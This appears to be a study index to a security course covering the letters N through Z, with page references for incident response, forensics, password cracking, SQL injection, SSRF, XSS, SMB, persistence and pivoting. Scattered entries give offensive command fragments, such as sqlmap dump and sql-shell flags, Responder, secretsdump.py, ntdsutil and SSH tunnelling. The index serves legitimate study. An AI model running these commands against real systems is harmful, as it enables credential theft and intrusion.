3::37	ntdsutil = activate instance ntds
3::37	ntdsutil.exe
3::34	NTLM
3::34	NTLM Hashes
3::34	NTLMv1
3::34, 5::43	NTLMv2
5::69	NTP
5::69	NTP Server
3::33	NULL Byte
3::45-55	NVIDIA
3::45-55	NVIDIA GeForce
3::45	NVIDIA GeForce RTX 4090
O	
5::5-7	Obfuscation
4::60	Object Relational Mapping (ORM)
1::93	Online Analysis Sites
2::27	openssl
2::27	Organizational Unit (OU)
4::60	ORM
2::22, 3::20, 4::94, 5::6	OSINT
1::118	osk.exe
3::26	outlook.office365.com
4::46	Output Encoding
4::37	Output Validation
4::46	OWASP
P	
3::9	PACK
5::63	Packet Inspection
2::12	Packets
2::26	Packets Per Seconds (PPS)
5::78	Pacu
5::78	Pacu - iam__enum__permissions
5::78	Pacu - iam__privesc_scan
5::78	Pacu - imported-profilename
4::63	parameterized queries
1::83	Parent & Child Processes
1::83	Parent-Child Relationship
3::9	Password Analysis & Cracking Kit (PACK)

3::46	Password Crack Mitigation
3::4-51	Password Cracking
3::9	Password Guess Selection
3::4-10-17-18-25, 4::43	Password Guessing
3::32	Password Hashes
3::51	Password Mutation
3::9	Password Policy
3::9	Password Policy Selection
3::36	Password Salting
3::5-10-25-27	Password Spray
3::90	Payloads
3::46	PBKDF2
1::19, 5::48	Persistence
5::50-56	Persistence - Create Account
5::51	Persistence - Services
5::58	Persistence - Takeaway
5::54	Persistence - Web Shell
5::56	Persistence Defenses
5::48	Persistence goals
5::51	Persistent Service
4::16-18	Personally Identifiable Information (PII)
4::42	Phishing Link
1::114-115-116	PHP
1::115-116	PHP - Eval Function
1::20-21-24-28	PICERL
5::11	PID
4::4-16-18	PII
4::25	PING
2::12	Ping Sweeps
1::15-16-18	Pivot
3::75	Pivoting
5::30	Pivoting - Metasploit Route
5::27	Pivoting & Lateral Movement
5::35	Pivoting for Lateral Movement
5::11	pnputil.exe
2::44	Poewrshell = Get-SmbMapping
2::43	Poewrshell = Set-LocalUser
5::81	POLP
5::28	Port Forwarder
3::75	Port Forwarding
2::10, 5::32	port scanning
2::11	Ports total
5::4	Post-Exploitation
3::61	Potfile

2::66	Powercat
1::43, 2::52, 3::88	PowerShell
1::57	Powershell - Boolean Variable
1::43	Powershell - Data Access
1::43	Powershell - Filtering
1::58	Powershell - LastRunTime
1::58	Powershell - LastTaskResult
1::60	Powershell - ListLog
1::60	Powershell - LogName
1::58	Powershell - NextRunTime
1::44	Powershell - Objects
1::43	Powershell - Pipelining
1::60	Powershell - RecordCount
1::48	Powershell = (-EncodedCommand)
2::43	Powershell = AsSecureString
2::43-44	Powershell = Close-SmbSession
1::61	Powershell = Compare-Object
1::61	Powershell = DifferenceObject
1::58	Powershell = Export-ScheduledTask
1::59	Powershell = FilterHashTable
1::54	Powershell = Format-list
1::55	Powershell = Get-ChildItem
1::46-54	Powershell = Get-CimInstance
1::61	Powershell = Get-Content
1::59	Powershell = Get-Data
1::59	Powershell = Get-EventLog
1::95	Powershell = Get-FileHash
1::55	Powershell = Get-ItemProperty
1::57	Powershell = Get-LocalGroup
1::57	Powershell = Get-LocalGroupMember
1::57	Powershell = Get-LocalUser
1::50-51	Powershell = Get-NetTCPConnections
1::44	Powershell = Get-Process | Select-Object -First 1 *
1::44	Powershell = Get-Processes
1::44	Powershell = Get-Processes -ComputerName SEC504STUDENT
1::44	Powershell = Get-Processes 'powersh*'
1::44	Powershell = Get-Processes 'powershell' | Select-Object *
1::58	Powershell = Get-ScheduledTask
1::58	Powershell = Get-ScheduledTaskInfo
1::54-61	Powershell = Get-Service
2::43-44	Powershell = Get-SmbSession
2::44	Powershell = Get-SMBShare
1::59	Powershell = Get-WinEvent
2::44	Powershell = Get-WmiObject

2::66	Powershell = IEX
2::40	Powershell = Import-CSV
3::20	Powershell = Import-Module
1::119	Powershell = Invoke-Command
3::25	Powershell = Invoke-MFASweep
3::20	Powershell = Invoke-MSOLSpray
2::44	Powershell = New-SmbMapping
2::43	Powershell = Read-Host
1::61	Powershell = ReferenceObject
2::44	Powershell = Remove-SmbMapping
1::57	Powershell = Script Block
1::119	Powershell = ScriptBlock
1::44-55, 2::43	Powershell = Select-Object
2::43	Powershell = Set-ADAccountPassword
1::96	Powershell = Stop-Process
1::46-57	Powershell = Where-Object
1::63	Powershell CheatSheet
1::44	Powershell Cmdlet
1::64	Powershell Commands
2::53	powershell.exe
2::26	PPS
3::62	Premutation Rules
4::92	premutations.txt
3::46	pre-shared key auth
1::74	Primitives
5::81	Principle of Least Privilege (POLP)
2::45	Private VLAN
2::42	PrivEsc
5::77	Privilege Escalation
5::9	Privilege Levels
1::65, 5::15	procdump
5::15	procdump.exe
1::85	Process Command Line
1::65	Process Explorer
5::13	Process Hook
1::100-101	Process Monitor
1::100-101	Profiling Events
1::100	Profiling Events - Process Monitor
1::111	Prompt Engineering
5::9	Protection Rings
2::41	Protocol Negotiation Failed
2::41	Protocol Negotiation Failed: NT_STATUS_CONNECTION_RESET
1::16-30-75	Proxy
3::11	pseudo

3::11	pseudo-anonymous currency
5::28-29	PsExec
5::77-78	PutUserPolicy
2::45	PVLANs
3::9	pw-inspector
3::24	pwsh
2::53	pwsh.dll
2::53	pwsh.exe
R	
1::80	RAM
4::19	rate limiting
3::34	RC4
1::33	RCA
2::42, 4::31	RCE
1::42, 3::5	RDP
4::60	RDS
2::43	Read-Host
5::63-64-66-67-68-69-70-71	Real Intelligence Threat Analytics (RITA)
1::14	Reconnaissance
4::39-40-41-42	Reflected XSS
5::18-20	Reflection Execution
3::40	reg
3::40	reg.exe
1::30	Registry Key
1::55	Registry Key
5::48	Registry Run Keys
1::98-99	Regshot
2::76	Relays
2::74	Relays Attack
2::42	Remote Code Execution (RCE)
2::44	Remove-SmbMapping
4::47	report-uri (CSP)
4::80	Required Metadata Header Not Specified
5::40-42	Responder
5::43	Responder Capture
5::42	Responder -I eth0
5::33	Reverse Port Forwarding
1::19, 3::73	Reverse Shell
1::19	Reverse TCP Connection
5::11	Revoke Signing Certificates
5::9-10-11	Ring 0
5::9	Ring -1
5::9	Ring 2
5::9	Ring -2

5::9	Ring 3
5::9	Ring -3
5::63-64-66-67-68-69-70-71	RITA
5::64-69	RITA - Beacon Detection
5::68	RITA - Built-In Search
5::71	RITA - config.hjson
5::64	RITA - Detection Techniques
5::66	RITA - For Threat Hunting
5::69	RITA - Interval Frequency
5::64-65	RITA - IP Flagging
5::64-65	RITA - Long Connections
5::71	RITA - Malicious Hosts
5::70	RITA - Post Analysis
5::69	RITA - Prevalence Score
5::68-69	RITA - Results
5::68	RITA - Terminal User Interface (TUI)
5::69	RITA - Threat Details
5::71	RITA - threat_intel
5::71	RITA - Trusted Hosts
5::68	RITA - TUI
5::64-65	RITA - Unusual Sub-domain analysis
5::64-65	RITA - User Agent Detection
5::66	RITA & Zeek
5::67	rita view dataBaseName
5::66-68	rita.sh
5::66	rita.sh -import -l capture.pcap
5::68	rita.sh view capturedb
4::8	Robots Discovery
4::8	Robots Exclusion Protocol
4::8-19	robots.txt
1::33	Root Cause Analysis (RCA)
3::45	RTX 4090
3::62	Rule File
3::62	Rules Directory
5::11	rundll32.exe
S	
4::88	S3
4::91	S3 Bucket - Access Denied
4::89	S3 Bucket - Block All Public Access
4::89	S3 Bucket - Configuration
4::89	S3 Bucket - Permit Public Access
4::91	S3 Bucket - Storage Scanning
4::88-91	S3 Buckets
3::16	SaaS

3::35-36-42	SALT
3::42	Salt Values
3::34-39-41	SAM
2::14-38-41	Samba Server
1::12-19	Sample Incident - Argous Corporation
5::71	SANS Incident Storm Center (ISC)
4::32	SATS
1::30	SCCM
5::48	Schedule Tasks
1::34	SCM - Source Code Management
5::83	ScoutSuite
5::83	ScoutSuite
5::83	ScoutSuite - HTML Report
5::83	ScoutSuite - JSON Report
2::52	Script Execution Control
1::119	ScriptBlock - Powershell
3::46	Scrypt
2::42	SDL
4::8	Search Enginer Crawler Indexing
4::9-94	SecLists
3::17	second-factor authentication
4::78	secret access key
3::38	secretsdump.py
4::47	Secure Flag
3::38	SecureAuth Corp
5::85	Security Command Center
1::31	Security Groups (SG)
3::17, 5::76	Security Token Service (STS)
2::21	sed
5::21	SELinux
4::32	Semgrep
5::85	Sentinel
4::13	seq
4::37	Server Input
4::60	Serverless Platforms
2::30	Server-Side Code
1::15, 4::69-70-71-76-78-80-82-83	Server-Side Request Forgery (SSRF)
5::51	Services
1::54	services.exe
2::43	Set-ADAccountPassword
2::43-44	Set-LocalUser
5::21	SETUID
1::95	SHA1
3::32-42-45-46	SHA256

1::95	sha256sum
3::32-42-45-46	sha512
1::94	Share Folders
2::41	Shell Metacharacter
1::110	Shellcode
3::21	Shun
1::61	SideIndicator
1::30, 2::50-60	SIEM
2::50-51-52-53-54-60	Sigma
2::53	Sigma - Condition
2::52	Sigma - Mandatory Parameters
2::53	Sigma - re
2::53	Sigma - selection_length
2::53	Sigma - selection_powershell
2::52-60	Sigma Rules
5::7	Signature-Based Analysis
5::6-7-8	Signature-Based Detection
1::35, 5::11	Signed Drivers
4::88	Simple Secure Storage (S3)
5::76	Situation Report
4::76	SKU
3::21-22-24-25	Smart Lockout
3::22-25	Smart Lockout Bypass
1::42-53, 2::11-14-36-37-38-39-40-41-42-43-44-45, 3::5, 5::40	SMB
2::45	SMB Attacks
2::45	SMB Defense
2::42	SMB Exploits
2::37	SMB Message Integrity
5::42	SMB Request
2::36-37	SMB Security
2::43-45	SMB Sessions
2::40	SMB Shares
2::41	SMB Slashes
2::39	SMB Stack
2::37	SMB Version
2::42	SMB Witness feature
2::41, 5::21-52	Smbclient
2::41	smbclient -L //x.x.x.x -U user -m SMB2
2::40	SMBeagle
2::42	SMBGhost
2::42	SMBleed
2::37	SMBv1
2::37-41	SMBv2

2::37	SMBv3
1::25-34	SME
5::9	SMM
1::96-97	snapshot
2::12	SNMP
2::50	Snort
3::92, 4::41	Social Engineering
5::33	SOCKS Proxy
2::42	Software Development Lifecycle (SDL)
1::61-62	Software Protection Service
1::34	Source Code Management (SCM)
4::60	Spanner
4::54	Special Characters
1::28, 3::86	Spreadsheet
4::53	SQL
4::53	SQL - Refinement
4::53	SQL - Source
4::62	SQL - UPDATE
4::53	SQL - Verb
4::62	SQL - Where Clause
4::53	SQL = verb, source, refinement
4::52-55-56-60-62	SQL Injection
4::60	SQL Managed Instance
4::60	SQL MI
4::60	SQLAlchemy
4::63	SQLi - Defense
4::63	SQLi - Limit Permission
4::62	SQLi - Testing Risk
4::56-57-58-59	SQLmap
4::59	sqlmap --columns
4::58-59	sqlmap -D
4::58	sqlmap --dbs
4::59	sqlmap --dump
4::58-59	SQLmap Enum
4::57	SQLmap Rules
4::59	sqlmap --sql-shell
4::59	sqlmap -T
4::58	sqlmap --tables
4::58	sqlmap -u
1::75-76	Squid
1::76	Squid Proxy - Access Logs
4::83	SSFR Defense
3::5, 5::21-33	SSH
5::33	ssh -D 3128

5::21-55	SSH Keys
5::33	ssh -L 8000:x.x.x.x:80 victortimko@x.x.x.x
5::33	SSH Port Forwarding
5::33	SSH Port Forwarding
5::34	SSH Tunneling
1::75	SSL
2::20	SSL Certificates
1::15, 4::69-70-71-74-75-76-78-80-82-83	SSRF
4::75	SSRF - Cloud Targets
4::75	SSRF - Exfiltration from Cloud
4::74	SSRF - Image Reference
4::70-71-76-80	SSRF Attack
4::82	SSRF Cheatsheet
4::72-73-74	SSRF Exploit
4::30	Stateful
4::32	Static Application Security Testing (SAST)
5::63-64	Statistical Anomly Analysis
3::9	Statistical distribution
3::9	StatsGen
4::39-45	Stored XSS
3::52-55-62	Straight Attack
1::95	Strings
4::53	Structured Query Language
3::43	Sub-field elements
1::25	Subject Matter Experts (SME)
3::6	sudo service ssh start
1::109-110	Summarizing Code
1::53	Suspicious Network Activity
1::48	Suspicious Processes
2::25	SYN
2::30	SYN Scan
2::25	SYN Send Code
4::32	Synk
5::56	Sysinternals
5::56	Sysinternals - Autoruns
1::65	Sysmon
3::37-38	SYSTEM
3::39	SYSTEM
1::30	System Center Configuration Manager (SCCM)
5::9	System Management Mode (SMM)
2::43	System.Security.SecureString
1::30	SystemCertificates

T

3::37-51	T1003
2::20	T1046
5::12	T1068
5::34	T1090
3::4-51	T1110
5::50	T1136
3::81	T1189
4::4, 4::24-37	T1190
5::54	T1505
4::88	T1530
5::51	T1543
5::53	T1546
4::69	T1552
4::69	T1552.005
5::41	T1557
5::49	TA0003
5::5	TA0005
3::51	TA0006
2::14	target-host
4::54	tautology
1::13-16-53, 2::10-11	TCP
2::8-12-17	TCP ACK
2::12	TCP Connect
2::12-13	TCP RST
2::8-12-13-17	TCP SYN
1::72-73	tcpdump
1::65	TCPView
4::31	telnet
5::68	Terminal User Interface (TUI)
5::11	Terminator
3::33	Tesla V100
2::50	text-based threat analysis
1::26	Threat Hunting
1::14	Threat Intel
5::69	Time Sync
2::59	Timeline Explorer
1::76	Timestamps
1::75, 2::27-28, 3::75	TLS
2::27	TLS -Encrypted Service
2::27	TLS Servers
5::64-65	TLS SNI identification
2::28-29-30	TLS-Scan
4::38	Token
5::66	Truncated Packets

1::22-26-30	TTPs
2::41	two backslashes
2::41	two front slashes
U	
1::53, 2::10-11-12	UDP
2::12	UDP Scan
3::94	UEBA
5::9	UEF
5::75	uname -mnrs
2::42	Unauthenticated Information Disclosure
3::34	Unicode
5::9	Unified Extensible Firmware (UEF)
5::18-19-20	Uninstall Routine
4::12	Universally Unique Identifier (UUID)
3::34	UNIX
3::42	Unix Passwords
4::88	Unprotected Buckets
1::57	Unusual Accounts
1::59	Unusual Log Entries
1::58	Unusual Scheduled Tasks
2::16	UPNP
1::30-76	URL
4::72	URL as a Parameter
3::19	US SECURE
1::94	USB
3::26, 4::19	User Agent
4::46-63	User Input Filtering
5::9-11	User Mode
4::42	User Trust - Reflected XSS
3::41	user:userID:LANMAN:NTHASH
1::76	UTC
1::76	UTC Timestamps
1::49, 5::6	UTF-16
4::12	UUID
V	
4::14	Valid Pattern
2::54	Velociraptor
2::12-14	Version Scan
2::44	View Inbound Connections
2::44	View Local SMB Shares
2::44	View Outbound SMB Mapped Connection
2::44	View Remote Shares
2::30, 5::82	Virtual Private Cloud (VPC)

5::9	Virtualization
1::93, 5::71	VirusTotal
1::31, 2::45	VLANS
5::79	VM Snapshots
1::56	vmtoolsd.exe
1::42, 3::73	VNC
1::82	vol.py -q -f win10.raw windows.pslist.Pslist
1::81	Volatility
1::82	Volatility - Listing Processes
1::81	Volatility - platform.class.PluginName
1::81	Volatility - Plugins
1::85-87	Volatility - windows.cmdline.CmdLine
1::86	Volatility - windows.dlllist.DllList
1::86	Volatility - windows.driverscan.DriverScan
1::86	Volatility - windows.dumpfile.DumpFile
1::86	Volatility - windows.envars.Envars
1::86	Volatility - windows.filescan.FileScan
1::86	Volatility - windows.hashdump.Hashdump
1::86	Volatility - windows.info.Info
1::84-87	Volatility - windows.netscan.NetScan
1::86	Volatility - windows.privileges.Privs
1::81-82-87	Volatility - windows.pslist.PsList
1::83-87	Volatility - windows.pstree.PsTree
1::86	Volatility - windows.registry.certificates.Certificates
1::86	Volatility - windows.registry.hivelist.HiveList
1::86	Volatility - windows.registry.printkey.PrintKey
1::86	Volatility - windows.registry.userassist.UserAssist
1::86	Volatility - windows.svcscan.SvcScan
1::86	Volatility Module
2::30, 5::82	VPC
1::14	VPN
W	
2::30, 4::19-32-46-63	WAF
2::42	WannaCry
3::84-86-87-88-89, 4::38	Watering Hole
3::84-86-87-88-89, 4::38	Watering Hole Attack
4::93	WAV
4::46	Web App Framework
2::30, 4::19-32-46-63	Web Application Firewall (WAF)
4::8	Web Crawler
2::22	Web Hosting Providers
1::75	Web Proxy
4::6	Web Server
5::21	Web Server Files

5::54-56	Web Shell
2::23-26, 5::17	wget
3::46	Wi-Fi
3::46	Wi-Fi Protected Access (WPA)
3::39	Win 10 Password Hashes
1::59	Win Event ID - 7045
1::46	win32_process
1::54	win32_service
2::38	win32_share
5::51	Windows - Services
5::6-15-22-44	Windows Defender
5::11	Windows Defender Application Control
1::65	Windows Event Collection
3::41	Windows Hashes
3::33-35	Windows LAN Manager
3::33-35	Windows LANMAN
2::38, 5::52	Windows Management Instrumentation (WMI)
1::62	Windows Module Installer
3::33-35	Windows NT
5::15	Windows Passwords
1::80	WinPmem
4::25	Wireshark
1::46, 2::38-44, 5::52-56	WMI
5::52-56	WMI - Event Subscription
5::52	WMI - Trigger Conditions
3::19	Wordlist Generation
1::29-113	WordPress
3::42	World Readable
3::46	WPA
3::46	WPA2
5::7	Wrapping & Obfuscation
X	
2::27	x509
2::27	x509 Certificate
5::9	x86_64
3::85	XLSM
3::92, 4::37-39-43-45-46-47-63	XSS
4::38	XSS - Attacker Opportunity
4::45	XSS Attack
4::46-47	XSS Defense
2::50-51-52	YAML
2::50	YARA
3::32-42-46	yescrypt
5::70	Zcutter

5::63-66-69-70	Zeek
5::66	zeek -C
5::66	zeek -Cr capture.pcap
5::70	Zeek Log Files
5::63-66-69-70	Zeek Logging
3::88	Zero-Day